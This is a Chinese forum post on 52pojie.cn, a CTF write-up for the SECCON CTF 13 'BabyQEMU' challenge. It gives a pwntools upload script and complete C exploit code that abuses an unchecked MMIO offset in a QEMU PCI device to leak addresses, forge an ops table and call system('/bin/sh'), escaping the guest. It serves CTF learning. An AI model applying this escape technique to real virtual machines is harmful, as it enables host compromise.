吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 809|回复: 1
上一主题 下一主题
收起左侧

[CTF] SECCON CTF 13 Quals(Jeopardy) BabyQEMU wp

  [复制链接]
跳转到指定楼层
楼主
ajguthahbzzb 发表于 2025-4-1 22:41 回帖奖励
本帖最后由 ajguthahbzzb 于 2025-4-1 22:42 编辑

0x0 前言

pwn题里QEMU题的目的和用户态下的目的一样都是getshell,但是攻击方式和内核态下一样。一般QEMU题都是通过越界读写来修改函数指针从而getshell,本题也不例外。
附件链接:https://r3kapig-not1on.notion.site/SECCON-CTF-13-Quals-Jeopardy-14bec1515fb98012ba05fe126af221ec

0x1 思路

mmio_write中MMIO_SET_OFFSET分支可以任意设置offset,这样就可以在mmio_read的MMIO_GET_DATA分支中完成任意读,在mmio_write的MMIO_SET_DATA分支中完成任意写。
很多偏移可以通过gdb调试得到。


0x2 gdb调试

先用pwntools启动qemu。脚本如下:
[Python] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwncli import *
 
io = gift.io = process("./run.sh")
 
context(log_level="info", arch="amd64", terminal=["tmux", "sp", "-h"])
 
with open("./pwn", "rb") as f:
    exp = b64e(f.read())
 
sh = lambda s: sla(b"# ", s)
 
sla(b"buildroot login: ", b"root")
 
#               pci_babydev_mmio_write    pci_babydev_mmio_read
# gdb.attach(io, "b *$rebase(0x3AE1B0)\nb *$rebase(0x3AE170)")
pause()
 
 
count = 0
for i in range(0, len(exp), 0x200):
    sh(f"echo -n \"{exp[i:i + 0x200]}\" >> /tmp/b64_exp".encode())
    count += 1
    success(f"block {count}")
 
 
sh(b"cat /tmp/b64_exp | base64 -d > /tmp/exploit")
sh(b"chmod +x /tmp/exploit")
sh(b"/tmp/exploit ")
 
ia()

pwn文件可由任意调用mmio函数的c文件编译而成。在pause函数执行时另开gdb窗口,找到进程并attach,然后把断点打在pci_babydev_mmio_write和pci_babydev_mmio_read上。
在二进制文件中可以找到reg偏移为0xBF0,则buffer偏移为0xBF8。

进入pci_babydev_mmio_write函数,此时rdi指向opaque地址。执行x/400gx $rdi,得到opaque的内存布局。opaque里有指向opaque和mmio_ops的地址,可以直接在buffer地址附近查找,也可通过search -p <addr>查找:



0x3 完整代码

[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/io.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#define MMIO_SET_OFFSET 0x0
#define MMIO_GET_DATA 0x8
#define MMIO_SET_DATA 0x8
 
unsigned char* mmio_mem;
 
void mmio_write(uint64_t addr, uint64_t value) {
    *(uint64_t*)(mmio_mem + addr) = value;
}
 
uint64_t mmio_read(uint64_t addr) {
    return *(uint32_t*)(mmio_mem + addr);
}
 
// 任意读
uint64_t weak_read_8(uint64_t offset) {
    mmio_write(MMIO_SET_OFFSET, offset);
    uint64_t lower_val = mmio_read(MMIO_GET_DATA) & 0xFFFFFFFF;
    mmio_write(MMIO_SET_OFFSET, offset + 4);
    lower_val += ((mmio_read(MMIO_GET_DATA) & 0xFFFFFFFF) << 32);
    return lower_val;
}
 
// 任意写8字节
void weak_write_8(uint64_t offset, uint64_t value) {
    mmio_write(MMIO_SET_OFFSET, offset);
    mmio_write(MMIO_SET_DATA, value & 0xFFFFFFFF);
    mmio_write(MMIO_SET_OFFSET, offset + 4);
    mmio_write(MMIO_SET_DATA, value >> 32);
}
 
// 任意写4字节
void weak_write_4(uint64_t offset, uint64_t value) {
    mmio_write(MMIO_SET_OFFSET, offset);
    mmio_write(MMIO_SET_DATA, value & 0xFFFFFFFF);
}
 
int main() {
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    mmio_mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED) {
        fprintf(stderr, "[!] mmio error\n");
        exit(1);
    }
    puts(" mmio done");
 
    // 泄漏opaque和pie地址
    uint64_t leaked_ops = weak_read_8(-0xc8);
    printf("leaked_ops = 0x%016lx\n", leaked_ops);
    uint64_t pie_base = leaked_ops - 0xD1D100;
    printf("pie_base = 0x%016lx\n", pie_base);
    uint64_t opaque = weak_read_8(-0xc0);
    uint64_t buf_addr = opaque + 0xBF8;
 
    // 把/bin/sh写进buffer
    weak_write_8(0x10, 0x68732f6e69622f);
    uint64_t binsh_addr = buf_addr + 0x10;
 
    // 构造伪ops表
    uint64_t mmio_write_addr = pie_base + 0x3ae1b0;
    uint64_t system_plt = pie_base + 0x324150;
    weak_write_8(0x0, system_plt);  // mmio_read -> system
    weak_write_8(0x8, mmio_write_addr);  // mmio_write 指针保持不变
 
    // 把 mmio.ops 指向构造的ops表
    weak_write_8(-0xc8, buf_addr);
 
    // 让 opaque 指向/bin/sh
    weak_write_4(-0xc0, binsh_addr); // 只能写一次
 
    // getshell
    mmio_read(0x0);
}

免费评分

参与人数 2吾爱币 +2 热心值 +2 收起 理由
KTTOL + 1 + 1 谢谢@Thanks!
fuminjie + 1 + 1 热心回复!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

沙发
jiangjun0109 发表于 2025-4-2 10:06
学习了厉害
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-4-3 20:03

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表